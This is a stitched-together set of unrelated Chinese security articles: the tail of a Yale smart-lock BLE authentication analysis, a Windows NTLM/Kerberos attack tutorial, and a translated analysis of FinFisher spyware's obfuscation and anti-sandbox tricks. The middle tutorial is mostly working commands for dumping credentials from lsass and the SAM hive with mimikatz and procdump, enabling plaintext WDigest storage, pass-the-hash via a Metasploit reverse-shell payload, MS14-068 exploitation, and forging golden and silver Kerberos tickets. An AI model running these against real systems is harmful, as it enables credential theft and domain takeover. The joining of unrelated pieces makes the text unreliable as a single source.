修复了日志输出代码之后，我们就可以看到BLE通信内容了。当门锁在手机附近时，app会自动向门锁发起连接，连接过程的日志如图2-3：
图2-3 手机连接门锁时的日志
根据日志中的关键字“_72_AUTHENTICATION_EVENT”和“send 72ACK”进行代码回溯，找到关键代码如图2-4所示：
图2-4 Authentication数据包相关代码
结合我们在本专题第一篇文章中介绍的Android系统BLE接口的相关知识。图2-4的处理流程是：
a.
当回调函数onCharacteristicChanged或onCharacteristicRead被调用时，会发出一个名为“com.irevo.bluetoothkey.regnosleep.ACTION_DATA_AVAILABLE”的广播，其中携带着接收到的BLE消息内容。
b. 相应的广播接收器接收到这条广播后，将其中的BLE消息内容取出，交由函数handleLockStatus处理，这里输出了图2-3的第一条日志。
c.
handleLockStatus函数中输出了图2-3的第二条日志，BLE消息由encodeCounter函数处理完成之后，交给send72Response函数。
d.
send72Response将encodeCounter的处理结果封装为ACK帧，也就是图2-3的第三条日志的主要内容。在send72Response函数的最后调用了writeCharacteristic将ACK帧发送给门锁。
可以看到，这是一次完整的BLE通信的收发处理流程，结合日志中的AUTHENTICATION关键字，我们推测这是门锁与手机建立BLE连接时的身份认证过程。这一过程非常简单，门锁向手机发送一组数据，我们暂且称之为Authentication
Request，Request经encodeCounter函数处理后得到Payload，Payload在send72Response函数中封装成Authentication
Response发送给门锁，如果手机通过了身份认证，就可以发送控制指令控制门锁的打开与关闭了。
接下来，我们重点分析手机如何处理Request生成Payload。encodeCounter函数的参数counterData就是门锁发来的Authentication
Request，图2-5展示了
counterData的处理方式：counterData被分割成若干个字节，每个字节都与key1~key6中的某一个相加，相加的结果放在c1r1~c3r4中。具体过程请看图2-5。
图2-5 Authentication Request的处理
c1r1~c3r4最后重新拼接成字节流形式，作为encodeCounter的返回值，也就是手机返回给门锁的Payload，如图2-6所示。
图2-6 Authentication Response拼接
已知Payload是由Authentication
Request与key1~key6相加得到的，Request是门锁发送来的，那么key1~key6的来源是什么呢？如图2-7所示，encodeCounter函数首先读取了this.keyModel.productInfo变量，然后将productInfo变量逐字节存储到
key1~key6这些变量中。
图2-7 Authentication Key的处理
key1~key6来源于productInfo，那productInfo是哪里来的呢？我们继续回溯，可以发现productInfo是在门锁与手机进行绑定时，由门锁发送给手机的，在完成绑定后，将productInfo存储在数据库里，每次使用时直接读取数据库即可。回溯过程可以参考图2-8。
图2-8 productInfo的处理
上图中，箭头方向表示数据的流动方向。经过多次实验可以发现，门锁绑定不同手机时发送的productInfo是相同的，这应该是门锁出厂时就烧录在flash里的一组固定密钥。
经过分析，我们可以确定以上身份认证机制中存在这样一个问题：门锁对手机进行身份认证的算法是加法运算，如果我们能嗅探到Authentication的Request和Response两个数据包，就能直接通过减法运算得到productInfo，从而通过门锁的身份认证，控制门锁。
## 3.小结
本篇是我们对Yale门锁研究的上篇，在上篇中，我们主要对Yale门锁的app进行了分析，最终发现在门锁与手机的BLE通信机制中存在一些问题。在接下来的下篇中，我们会引入一个USB
dongle用于对BLE通信进行嗅探，并利用本篇中发现的问题，通过嗅探而来的数据，计算得到productInfo，最终实现在任意手机上进行未授权开锁。
* * * | 社区文章 |
# 前言
前几天自己在学习域渗透时突然对Windows的身份认证机制产生了兴趣，但看了好几天自己还是懵懵懂懂，期间自己看了许多师傅的优质文章，也做了一些例子的复现，于是有了这篇文章，可以说是自己的笔记或总结吧。
由于自己了解的也不是很深入，这篇文章写的技术可能比较浅，像NTLM和Kerberos的中间过程并没有写的很详细。自己还画了简单的过程图来加深理解和记忆，图画的不好，这些还请各位师傅见谅。
如果本文的内容有错误，还请各位师傅指正。
# Windows身份认证机制
Windows身份认证机制主要有 **NTLM** 和 **Kerberos**
两种，其中NTLM主要被用在本地以及工作组环境，而在域环境中优先使用的是Kerberos。
在早期的windows系统（win2000以前）还有一种认证方式叫LM，但该方式的加密算法较脆弱，基本已经被淘汰掉了。
## NTLM
**NTLM(NT LAN Manager)** 是Windows中最常见的身份认证方式，主要有本地认证和网络认证两种情况。
### NTLM Hash
在介绍NTLM之前，需要介绍NTLM中最关键的凭证： **NTLM Hash** 。正常的明文密码加密为NTLM Hash的方法如下：
> password ----> 十六进制编码 ----> Unicode转换 ----> MD4加密 ----> 得到NTLM Hash
例如：
> admin -> hex(16进制编码) = 61646d696e
>
> 61646d696e -> Unicode = 610064006d0069006e00
>
> 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
### 本地认证
在本地认证过程中，当用户进行注销、重启、开机等需要认证的操作时，首先Windows会调用`winlogon.exe`进程（也就是我们平常见到的登录框）接收用户的密码。
之后密码会被传送给进程`lsass.exe`，该进程会先在内存中存储一份明文密码，然后将明文密码加密为NTLM
Hash后，与Windows本地的SAM数据库（%SystemRoot%\system32\config\SAM）中该用户的NTLM
Hash对比，如果一致则通过认证
### 网络认证
#### 工作组环境
网络认证需要使用NTLM协议，该协议基于 **挑战（Challenge）/响应（Response）** 机制。
1. 首先客户端向服务端发送 ~~用户名~~ 以及本机的一些信息(此处更正)
2. 服务端接收到客户端的用户名后，先生成一个随机的16位的Challenge（挑战随机数），本地储存后将Challenge返回给客户端
3. 客户端接收到服务端发来的Challenge后，使用用户输入密码的NTLM Hash对Challenge进行加密生成Response（也叫Net NTLM Hash），将Response发送给服务端
4. 服务端接收到客户端发来的Response，使用数据库中对应用户的NTLM Hash对之前存储的Challenge进行加密，得到的结果与接收的Response进行对比，如果一致则通过认证
#### 域环境
域环境中虽然默认首选是kerberos认证，但是也可以使用NTLM来进行认证。其实NTLM在域环境与工作组环境中的差异不大，区别主要是最终在域控(DC)中完成验证。直接看图比较清晰一点：
### NTLM的缺陷
了解整个过程之后我们可以发现，在整个过程中用户的明文密码并没有在客户端和服务端之间传输，取而代之的是NTLM Hash。因此如果攻击者得到了用户的NTLM
Hash，那么便可以冒充该用户通过身份验证（也就是说不需要破解出明文密码就可以通过验证），这就是hash传递攻击(Pass The Hash)。
## Kerberos
>
> Kerberos实际上是一种基于票据（Ticket）的认证方式。客户端要访问服务器的资源，需要首先购买服务端认可的票据。也就是说，客户端在访问服务器之前需要预先买好票，等待服务验票之后才能入场。在这之前，客户端需要先买票，但是这张票不能直接购买，需要一张认购权证。客户端在买票之前需要预先获得一张认购权证。这张认购权证和进入服务器的入场券均有KDC发售。
过程中涉及到的专有名词有：
KDC(Key Distribution Center) : 密钥分发中心
KAS(Kerberos Authentication Service) : kerberos认证服务
TGT(Ticket Granting Ticket) : 认购权证
TGS(Ticket Granting Service) : 票据授予服务
ST(Service Ticket) : 服务票据
### 获取TGT
客户端要先拿到TGT，然后才能购买ST进行对应服务的访问
1. 首先在用户登陆时，Kerberos服务向KDC(域控)发送申请认购权证的请求，内容为登录输入的用户名和经过输入密码 **加密的Authenticator** (用于确认身份的，往下看就会明白)
2. KDC(域控)拿到传来的数据后，会根据用户名到活动目录(Active Directory)的数据库中寻找该用户的密码，然后使用该密码解密 **加密的Authenticator** ，然后与 **原始的Authenticator** 对比，如果一致，则确认用户身份。
1. KDC(域控)确认登录用户身份正确后，先生成一个由用户密码加密的 **加密Logon Session Key** （为了确保通信安全）。然后生成TGT(包含用户信息和 **原始Logon Session Key** )，再使用KDC的密钥（即krbrgt用户的密钥）加密TGT生成 **加密后的TGT** 。然后将由用户密码加密的 **加密Logon Session Key** 和 **加密后的TGT** 返回给客户端
2. 客户端拿到 **加密Logon Session Key** 和TGT后，先用自己的密码解密 **加密Logon Session Key** 得到 **原始Logon Session Key** ，然后将 **原始Logon Session Key** 和TGT缓存到本地
### 获取ST
当用户想要访问某个服务时，会经过以下过程：
1. 客户端向TGS请求购买ST，请求内容包括用户名、经Logon Session Key加密的Authenticator、请求访问的服务名、TGT
2. 接收到请求后，TGS使用自己的密钥(krbtgt用户的密钥)解密TGT得到用户信息和 **原始Logon Session Key** ，然后使用 **原始Logon Session Key** 解密出Authenticator，与TGS本地的Authenticator对比一致后确认用户身份。
1. TGS生成一个经Logon Session Key加密的Service Session Key，然后生成ST（包含请求用户的信息以及原始Logon Session Key），然后将Service Session Key和ST返回给客户端
之后的过程就是用户用ST和去访问服务了，个人认为理解到这里就ok了，后面的过程不再过多赘述
### Kerberos的缺陷
从以上认证过程我们可以发现，Kerberos认证完全依赖于KDC的密钥（即krbtgt用户的密钥）。因此，如果攻击者拿到了krbtgt账号的hash的话，那么他就可以访问域中任何以kerberos协议做身份认证的服务。这就产生了票据传递攻击(Pass
The Ticket)。
# Hash抓取
## WCE
该工具可以抓取用户的LM Hash和NTML Hash，需要administrator权限。测试绝大数杀软都会报毒，需要免杀。
`wce.exe -lv`
**工具地址：**<https://github.com/xfmn/wce>
## QuarkPwDump
也是导出用户LM Hash和NTLM Hash的，测试发现只有360和nod32等少数杀软报了毒，是否需要免杀视具体情况而定。
`QuarkPwDump.exe -dhl`
**工具地址：**<https://github.com/quarkslab/quarkspwdump>
## Reg导出注册表本地分析
这个需要system权限（在我的xp上测试竟然无限蓝屏重启，懵逼了。。），在win2003上可以测试成功：
`reg save hklm\sam sam.hive`
`reg save hklm\system system.hive`
`reg save hklm\security security.hive`
然后导入到本地的mimikatz中：
`lsadump::sam /system:system.hive /sam:sam.hive`
## mimikatz
神器不必多说，mimikatz可以抓取上面提到的`lsass.exe`进程存储在内存中的明文密码，前提是该用户在该服务器上登录过
需要administrator及以上权限，需要免杀
`privilege::debug`
`sekurlsa::logonpasswords`
可以看到不仅抓取到了本机的administrator的密码，还抓取到了域管理员的密码，在域渗透的过程中会用到
**工具地址：**<https://github.com/gentilkiwi/mimikatz/releases>
## ProcDump导出数据本地分析
这种方式最大的优势就是免杀，因为ProcDump是微软官方提供的。但缺点也很明显，导出的数据文件可能会很大（但我本地测试的时候速度还是很快的）。需要administrator及以上权限。
`procdump.exe -accepteula -ma lsass.exe lsass.dmp`
之后可以下载到本地导入到mimikatz中进行读取
我在xp上导出，在win10上导入会报错
查了一下发现需要注意的一点是导出的平台和导入的平台不同时会报错，可以看一下mimikatz官方的解释：
在另一台xp中就可以成功导出和读取：
`sekurlsa::minidump lsass.dmp`
`sekurlsa::logonpasswords`
工具地址：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>
## SharpDump
一款C#的工具，GitHub上提供了project源码，在VS中以release编译完成即可使用。
测试只有极少的杀软会报毒，但本地测试时win10的defender会报毒，是否免杀视情况而定吧。需要administrator及以上的权限。
然后将打包的`debug824.bin`下载到本地，修改扩展名为`gz`，将解压后得到的文件导入mimikatz
( **注意** ：我第一次测试时导入失败了，之后换了最新版本的mimikatz后成功导入)
`sekurlsa::minidump <要导入的文件名>`
`sekurlsa::logonPasswords full`
但是用户明文密码处是`(null)`，查了一下发现原来Windows Server 2012
R2以上的系统默认不向内存中保存明文密码了。这个我们可以通过修改注册表来解决（需要权限）：
`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f`
然后重启win10，用户重新登录再导出一次，然后在mimikatz中导入就可以看到明文的密码：
**工具地址：**<https://github.com/GhostPack/SharpDump>
# Hash传递攻击(Pass-The-Hash)
在渗透过程中，如果从lsass.exe进程得不到明文密码，并且拿到的用户hash也破解不出结果，我们就可以使用hash传递攻击
从上面写的NTLM认证方式中我们可以了解到在NTLM认证过程中用户的明文密码是不在客户端和服务端之间传输的，认证最主要的凭据就是用户的NTLM Hash。
那么当攻击者拿到用户的NTLM Hash时，攻击者完全可以只利用NTLM Hash与服务端完成身份认证的流程，达到冒充该用户的目的。
## MSF
使用msf的`exploit/windows/smb/psexec`模块可以进行hash传递攻击，条件是目标开启445端口，而且没有打KB2871997和KB2928120这两个补丁
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.206.128
set RHOST 192.168.206.101
set SMBUser administrator
set SMBPass AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
exploit
注意`SMBPass`参数要写成`<LM Hash>:<NTLM Hash>`的形式，exploit后可以成功拿到目标计算机的meterpreter会话
## mimikatz
其实这个是在微软发布了KB2871997补丁之后mimikatz提供的解决办法，也被称为 **Over Pass-the-hash**
### 工作组环境
首先我们假设在WIN2003上我们使用wce抓取到了administrator的NTLM Hash
然后我们到WINXP中使用mimikatz进行hash传递攻击：
`privilege::debug`
`sekurlsa::pth /user:<用户名> /domain:<远程服务器地址> /ntlm:<用户的NTLM Hash>`
之后会弹出一个cmd的窗口，我们在这个cmd中可以进行对目标计算机的一些操作，如列出WIN2003的c盘文件：
`dir \\192.168.206.101\c$`
### 域环境
如果我们拿到了域内一台服务器的域用户账号，那么我们可能想域管或者其他域用户会不会使用的是同样的密码呢？
假设我们此时拿到了一个普通域用户的NTLM
Hash，而域管理员使用的是同样的密码（测试时我是直接在域控WIN08上抓下来的2333），然后便可以尝试利用改NTLM Hash去访问域控
`privilege::debug`
`sekurlsa::pth /user:<域管理员名> /domain:<所属域名称> /ntlm:<域管的NTLM Hash>`
在弹出的cmd中成功访问到域控的c盘
`dir \\WIN08\$c`
# 票据传递攻击(Pass-The-Ticket)
**票据传递攻击(Pass-The-Ticket)** 就是利用伪造的kerberos票据进行身份认证，该过程不需要密码。
域中的票据又分为 **黄金票据(Golden Ticket)** 和 **白银票据(Silver Ticket)**
，其中黄金票据可以使攻击者直接提升为域管理权限，而白银票据则可以使攻击者访问特定的服务。
## 黄金票据(Golden Ticket)
黄金票据的本质就是一张 **TGT(Ticket Granting Ticket)**
，攻击者使用krbtgt账户的hash伪造黄金票据，进而访问域中包括域控的所有服务器。该攻击过程发生在前面所说的 **获取ST** 的第 **1** 步
### MS14-068
利用该漏洞可以将域内任何普通用户提升为域管权限，微软发布的补丁为：`kb3011780`。如果域控没有打上该补丁的话，攻击者就有可能利用该漏洞提升自己的权限
首先我们使用一个普通域用户test登录到WIN7上，并记录该用户的sid：
此时访问域控的C盘根目录是没有权限的：
我们使用MS-14068.exe，生成票据：
`MS14-068.exe -u <用户名>@<所属域名称> -s <此用户的sid> -d <域控地址> -p <此用户的密码>`
然后再使用mimikatz将票据导入：
`kerberos::ptc [email protected]`
导入之后便可以成功访问域控WIN08的C盘根目录（还可以访问该域中的其他服务器）：
`dir \\WIN08\c$`
还可以使用微软的SysinternalsSuite工具包中的psexec.exe来获取WIN08的shell：
`Psexec64.exe \\WIN08 cmd.exe`
**PS：** WINXP与WIN2003均测试失败，mimikatz无法导入生成的TGT
### mimikatz生成
使用mimikatz生成黄金票据需要以下几点条件：
* 知道krbtgt的NTLM Hash或aes256
* 知道krbtgt的sid
该方法经常会用来做拿下域控后的权限维持，因为krbtgt账户的密码基本不会更改，即使域管的密码被修改krbtgt的密码也不会改变
首先假设我们此时已拿到域控权限，使用mimikatz查看krbtgt用户的信息：
`privilege::debug`
`lsadump::dcsync /domain:centoso.com /user:krbtgt`
拿到krbtgt的NTLM Hash和sid后，我们就可以在一台普通域服务器上生成黄金票据并导入：
`kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid>
/krbtgt:<krbtgt的NTLM Hash> /ptt`
也可以先将黄金票据生成为ticket.kirbi文件后再导入：
`kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid>
/krbtgt:<krbtgt的NTLM Hash>`
`kerberos:ptt ticket.kirbi`
查看本机已有的票据：
`kerberos::list`
尝试将域控的C盘映射到本地的K盘：
`net use K: \\WIN08\c$`
## 白银票据(Silver Ticket)
白银票据的本质是一张ST(Service
Ticket)，也就是使用要访问的服务器的hash来伪造白银票据。区别于黄金票据的是白银票据只能访问指定的服务，但白银票据的优点是于目标服务器不经过DC直接交互。
对于白银票据的生成也有以下几点要求：
* 目标服务账户的NTLM Hash
* 目标服务器账户的sid
### mimikatz生成
假设我们拿到目标服务账户的NTLM Hash和sid
然后使用mimikatz生成一张可以访问WIN2003的白银票据：
`kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器的FQDN>
/service:<要访问的服务> /rc4:<服务账户NTLM Hash> /user:<要伪造的用户> /ptt`
之后就可以访问目标服务器上对应的服务
# 参考文章
* <https://github.com/l3m0n/pentest_study>
* <https://blog.csdn.net/qq_36119192/article/details/85941222>
* <https://green-m.me/2019/01/24/play-with-kerberos/>
* <https://www.anquanke.com/post/id/175364>
* <https://www.freebuf.com/sectool/112594.html>
* <https://patrilic.top/2019/05/05/Windows%20%E6%8A%93%E5%8F%96Hash/>
* <https://wh0ale.github.io/2018/12/25/2018-12-25-%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E7%A5%A8%E6%8D%AE/>
* <http://paper.vulsee.com/Micro8/%E7%AC%AC%E4%B8%80%E7%99%BE%E9%9B%B6%E4%BA%94%E8%AF%BE%EF%BC%9Awindows%20%E5%8D%95%E6%9C%BA%E5%85%8D%E6%9D%80%E6%8A%93%E6%98%8E%E6%96%87%E6%88%96hash%20%5B%E9%80%9A%E8%BF%87dump%20lsass%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE%5D.pdf> | 社区文章 |
# 针对FinFisher的详细分析报告
|
##### 译文声明
本文是翻译文章，文章来源：cloudblogs.microsoft.com
原文地址：<https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Office 365高级威胁防护（[Office 365 ATP](https://products.office.com/en-us/exchange/online-email-threat-protection?ocid=cx-blog-mmpc)）在2017年阻止了许多知名的[0day漏洞利用技术](https://cloudblogs.microsoft.com/microsoftsecure/2017/11/21/office-365-advanced-threat-protection-defense-for-corporate-networks-against-recent-office-exploit-attacks/)。在我们的分析过程中，有一个活跃的组织脱颖而出：[NEODYMIUM](https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/)。这个团伙之所以引入注目，有以下两个原因：
1、可以有效利用Microsoft以及Adobe软件的复杂0day漏洞；
2、使用了政府级别的监控间谍软件，即FinFisher（也称为FinSpy），Microsoft安全产品将其标记为[Wingbird](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha)。
FinFisher是一款非常复杂的恶意软件，因此我们与其他研究人员一样，也必须设计复杂的方法才能破解它。之所以要这么做，是因为我们想理解FinFisher如何突破某主机并实现本地持久化，也想验证Office
365 ATP沙箱、Windows Defender Advanced Threat Protection（[Windows Defender
ATP](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)）通用检测功能以及其他Microsoft安全解决方案的有效性。
这是一个非常艰巨的任务。FinFisher用到了各种技巧，比如花指令、“意大利面条式代码（spaghetti
code）”、多层虚拟机以及许多已知的或者鲜为人知的反调试及防护技术。安全分析人员手头上通常掌握一些工具，可以在恶意软件调查过程中解决大量类似的技术。然而，在反调试防护技术方面，FinFisher与其他恶意软件相比属于另一个级别。只有技术娴熟的逆向分析工程师，花费大量时间、使用各种代码、自动化处理技术，同时富有创造力，才能揭开FinFisher这个难题。从这方面我们可以看出，FinFisher的开发者为了保持恶意软件的隐蔽性以及复杂性付出了许多努力。
在这个研究过程中，我们掌握了FinFisher所使用的技术，可以利用这些信息使Office 365 ATP的沙箱检测能力以及Windows Defender
ATP的能力更加全面，能够检测类似技术以及通用行为。利用我们深入研究所收集的情报，Windows Defender
ATP可以告警FinFisher在攻击链条不同阶段所使用的恶意行为（比如通过内存注入实现本地持久化）。Windows Defender
ATP中的[机器学习](https://cloudblogs.microsoft.com/microsoftsecure/2017/08/03/windows-defender-atp-machine-learning-detecting-new-and-unusual-breach-activity/)功能可以进一步标记出篡改合法Windows文件的可疑行为。
图1. Windows Defender ATP通用检测规则可以告警FinFisher相关行为
虽然我们的分析结果可以第一时间保护我们的客户，但我们更希望能够分享自己的成果，加入其他研究人员（下文会详细列出）公开的研究成果中。我们希望这篇博客能帮助其他研究人员理解并分析FinFisher样本，也希望这种行业内的信息共享能够帮助更多的客户。
## 二、意大利面条式代码以及垃圾代码
分析FinFisher时，我们碰到的一个代码混淆问题就是要移除恶意软件中的垃圾代码以及“意大利面条式代码”（一种用来迷惑反汇编程序的技术）。意大利面条式代码添加了连续的代码跳转，使恶意软件的程序流很难阅读，这也是这种代码名字的来源。FinFisher中的意大利面条式代码样例如下所示：
图2. FinFisher释放器中的意大利面条式代码
这种方法并不新奇，在许多情况下，已经有一些逆向插件能够解决这个问题。然而对于FinFisher而言，我们无法找到可以规范化代码流的现有的任何交互式反汇编器（IDA）插件。因此我们决定使用IDA
Python自己编写插件。装配这段代码后，我们可以剔除FinFisher所采用的第一个反分析保护层。
剔除垃圾指令后，我们看到了一段可读的代码块。这段代码首先分配了两个内存块：一个1MB全局缓冲区以及每个线程所对应的一个64KB缓冲区。第一个大缓冲区用作多个并发线程的索引。恶意软件从自身PE文件中提取了一大块数据，然后使用自定义的XOR（异或）算法两次解密这个数据块。我们发现这部分数据中包含一组操作码（opcode）指令，可由FinFisher开发者定制的虚拟机程序（下文简称为“VM”）进行解释。
图3. FinFisher所使用的多层保护机制
## 三、Stage 0—采用自定义虚拟机的释放器
主释放器（dropper）中实现了一个VM调度器（dispatcher）循环，可以使用32个不同的操作码（opcode）处理函数。恶意软件将64KB缓冲区用作VM描述符（descriptor）数据结构，可以存放数据以及需要运行的JIT（just-in-time）代码。VM调度器循环例程会在结尾处通过一条JMP指令跳转到另一个例程。程序中总共有32个不同的例程，每个例程实现了不同的操作码以及某些基本的功能，恶意程序可能会用到这些代码及功能。
图4. 处理每个VM操作码以及相关解释器的代码片段
这些VM以及虚拟化指令块可以用更加简单的术语来描述，也就是说：FinFisher的开发者实际上插入了一层动态代码转换（虚拟机）机制，使采用常规工具的分析方法基本不可能完成任务，而类似IDA之类的静态分析工具在分析通过VM以及一套新的指令集所解释和执行的自定义代码时可能也帮助不大。从另一方面来看，动态分析工具（如调试器以及沙箱）可能会面临虚拟化代码中隐藏的反调试以及反分析技巧，当代码检测到沙箱环境时会改变恶意软件的行为。
在这个阶段，我们只能手动调查各个代码块以及操作码处理程序（这些都经过高度混淆处理，也用到了意大利面条式代码）才能进一步分析下去。我们再一次使用了自己的去混淆工具，配合上一些技巧后，我们可以逆向分析这些操作码，将其映射到一个列表中，后续分析过程中可以利用该列表，配合一些脚本来实现自动化分析处理。
这个自定义VM所生成的操作码指令可以分为如下几个不同的类别：
1、逻辑操作码，实现了位逻辑运算符（OR、AND、NOT以及XOR）以及算术运算符；
2、条件分支操作码，实现了基于条件的代码分支（等同于JC、JE、JZ以及其他类似的分支操作码）；
3、加载/存储操作码，可以写入或者读取进程虚拟地址空间的特定地址。
4、用于各种用途的特定操作码，比如执行未经虚拟化处理的特定的机器指令。
我们公布了在分析过程中收集到的FinFisher VM所使用的完整版操作码列表（希望已经分析完整），将其集成到我们的去虚拟化脚本中，完整列表如下：
**序号** | **等效符号** | **功能描述**
---|---|---
0x0 | EXEC | 执行机器码
0x1 | JG | 大于/大于或等于则跳转
0x2 | WRITE | 将某个值写入解除引用的内部VM值（相当于一个指针）
0x3 | JNO | 不溢出则跳转
0x4 | JLE | 小于或等于则跳转
0x5 | MOV | 将寄存器的值移动到VM 描述符（与0x1F操作码一样）
0x6 | JO | 溢出则跳转
0x7 | PUSH | 将内部VM的值推入栈
0x8 | ZERO | 将内部VM的值重置为0（zero）
0x9 | JP | 偶校验（parity even）则跳转
0xA | WRITE | 写入某个地址
0xB | ADD | 将某个寄存器的值与内部VM的值相加
0xC | JNS | 为正值则跳转
0xD | JL | 小于则跳转
0xE | EXEC | 执行机器码以及分支
0xF | JBE | 小于或等于则跳转
0x10 | SHL | 将内部值左移若干位
0x11 | JA | 大于/不小于或等于则跳转
0x12 | MOV | 将内部VM值移动到某个寄存器
0x13 | JZ | 为零则跳转
0x14 | ADD | 将内部VM描述符与某个立即数相加
0x15 | JB | 低于则跳转
0x16 | JS | 结果为负则跳转
0x17 | EXEC | 执行机器码（与0x0操作码一样）
0x18 | JGE | 大于或等于则跳转/不小于则跳转
0x19 | DEREF | 将某个寄存器的值写入解除引用的某个指针
0x1A | JMP | 小于则跳转（经过混淆的特定操作码）
0x1B | * | 解析某个指针
0x1C | LOAD | 将某个值加载入内部VM描述符
0x1D | JNE | 不等于则跳转/非零则跳转
0x1E | CALL | 调用外部函数或者释放器中的某个函数
0x1F | MOV | 将寄存器的值移动到VM描述符中
0x20 | JNB | 不低于则跳转/大于等于则跳转/无进位则跳转
0x21 | JNP | 奇偶位为零则跳转
每条虚拟指令都存储在一个特定的数据结构中，该数据结构包含VM需要正确读取以及执行的所有信息。这个数据结构大小为24字节，由某些固定字段以及一个可变部分所组成（可变部分取决于具体的操作码）。在解释操作码之前，VM会解密操作码的内容（通过简单的XOR算法），然后使用重定位字段进行重定位（如果需要的话）。
操作码数据结构的示例图如下所示：
图5. 存放每条VM操作码数据结构的示意图
VM处理函数完全能够生成不同的代码块，也能处理由于地址空间布局随机化（ASLR）所带来的重定向代码。如果需要的话，处理函数也能将代码执行移动到不同的位置。比如，对于“Execute”操作码（0x17）而言，待运行的32位代码存放在变量区域中，在地址为5的偏移量处指定待复制和执行的字节数。对于条件操作码而言，变量区域会包含下一个JIT的数据包ID或者代码执行所需的下一个相对虚拟地址（relative
virtual address，RVA）。
当然，由于开发者在恶意软件中采用了一些额外的处理步骤，增大了分析过程的复杂度，因此并不是所有的操作码都可以很容易阅读以及理解。比如，0x1A操作码代表的应该是一个JB（小于则跳转）函数，但开发者先使用了一条STC（set
carry）指令，然后通过JMP指令跳转到调度器代码，调度器代码会验证STC指令所设置进位标志条件。
图6. 恶意软件开发者在VM操作码调度器中使用的一种混淆技巧
即使掌握了这些知识，我们也需要消耗许多小时才能写出完整的操作码解释器，利用这个解释器重构FinFisher所执行的实际代码。
## 四、Stage 1—针对沙箱以及调试器的加载器恶意软件
在这个复杂的虚拟机的支持下，FinFisher所执行的第一个阶段载荷为一个加载器（loader）恶意软件，该恶意软件的功能是探测系统环境，判断自身是否运行在一个沙箱环境中（通常为基于云的安全解决方案，如Office
365 ATP）。
加载器首先会动态重建一个简单的导入地址表（IAT），从Kernel32以及NtDll库中解析所需的所有API。随后，加载器在一个衍生的新线程中继续执行，检查自己的虚拟地址空间内是否有其他不需要的模块（比如某些安全解决方案所注入的模块）。加载器最终会结束属于这些模块的所有线程（使用
_ZwQueryInformationThread_ 原生API以及 _ThreadQuerySetWin32StartAddress_ 信息类）。
加载器所使用的第一个反沙箱技术就是检查代码段，如果该值不是 _0x1B_ （32位系统）或者 _0x23_
（Wow64下的32位系统），那么加载器就会退出执行。
接下来，释放器会检查自己的父进程，判断自己是否运行在沙箱环境中。恶意软件会计算小写进程名的MD5值，如果满足以下任意一个条件，则结束该进程：
1、父进程名称的MD5哈希值为`D0C4DBFA1F3962AED583F6FCE666F8BC`或者`3CE30F5FED4C67053379518EACFCF879`；
2、父进程的完整镜像路径等于自己的进程路径。
如果通过这些初始检查过程，加载器就会从磁盘中读取4个导入程序库（ _ntdll.dll_ 、 _kernel32.dll_ 、 _advapi32.dll_
以及 _version.dll_
），在内存中重新映射这些库，从而构建一个完整的IAT。这种技术可以使某些调试器以及软件断点无功而返。在这个阶段，加载器可能会使用原生系统调用来调用一个特定的API，这也是绕过API断点以及使用hook技术的安全解决方案的另一种方法。
图7. FinFisher加载器调用原生Windows API实现反调试目的
此时我们的分析之旅尚未结束。恶意软件还会执行其他反沙箱检查步骤，具体顺序如下：
1、检查恶意软件没有在驱动器的根目录下执行；
2、检查是否可以从外部源读取恶意软件文件；
3、检查基础路径的哈希值并非`3D6D62AF1A7C8053DBC8E110A530C679`；
4、检查恶意软件的完整路径中只包含可读的字符（即“a-z”、“A-Z”以及“0-9”）；
5、检查完整路径中任何一个节点都不包含恶意软件文件的MD5字符串；
6、收集系统指纹信息，检查如下字符串：
HKLMSOFTWAREMicrosoftCryptographyMachineGuid的值不应该为“6ba1d002-21ed-4dbe-afb5-08cf8b81ca32”
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionDigitalProductId的值不应该为“55274-649-6478953-23109”、“A22-00001”或者“47220”
HARDWAREDescriptionSystemSystemBiosDate的值不应该包含“01/02/03”
7、检查系统中尚未存在 _WininetStartupMutex0_ 这个互斥量（mutex）；
8、检查已映射到恶意软件地址空间中的DLL，判断这些DLL的基础名称中并没有包含`0xC9CEF3E4`这个哈希值。
上面这些检查步骤中所引用的哈希值很有可能与FinFisher开发者希望规避的沙箱或者安全产品有关。
接下来，加载器会检查自己没有运行在虚拟化环境中（VMWare或者Hyper-V）或者调试器下。在硬件虚拟化检测方面，加载器会获取硬件设备列表，检查厂商ID的MD5值是否位于事先设定的一个列表中。在我们的测试过程中，恶意软件样本可以通过检测虚拟的外围设备轻松检测到VMWare以及Hyper-V环境的存在（比如，Vmware的厂商ID为VEN_15AD，而HyperV的总线名称为VMBus）。Office 365
ATP沙箱采用了特殊的机制，可以规避恶意软件的类似检测技术。
加载器的反调试代码基于如下3种方法：
1、第一次调用，目的是破坏调试器与当前进程的连接：
备注：这个调用可以完全停止WinDbg以及其他调试器的执行。
2、第二次调用，目的是检测调试器是否存在：
3、最后一次调用，目的是排除掉软件断点存在的可能性：
最后，如果通过了所有这些验证，加载器会根据受害者操作系统的具体情况（32位或者64位），解密可执行文件中内嵌的一组位图资源（stage
2），准备执行一个新的VM解码层。
恶意软件会提取出每个位图资源，剔除前0x428个字节（BMP头部以及一些垃圾数据），合并成一个文件。恶意软件使用一个自定义的算法来解密这段数据（解密密钥等于原始恶意软件释放器中
_TimeDateStamp_ 字段的值乘以5）。
图8. 伪装成位图图像的资源
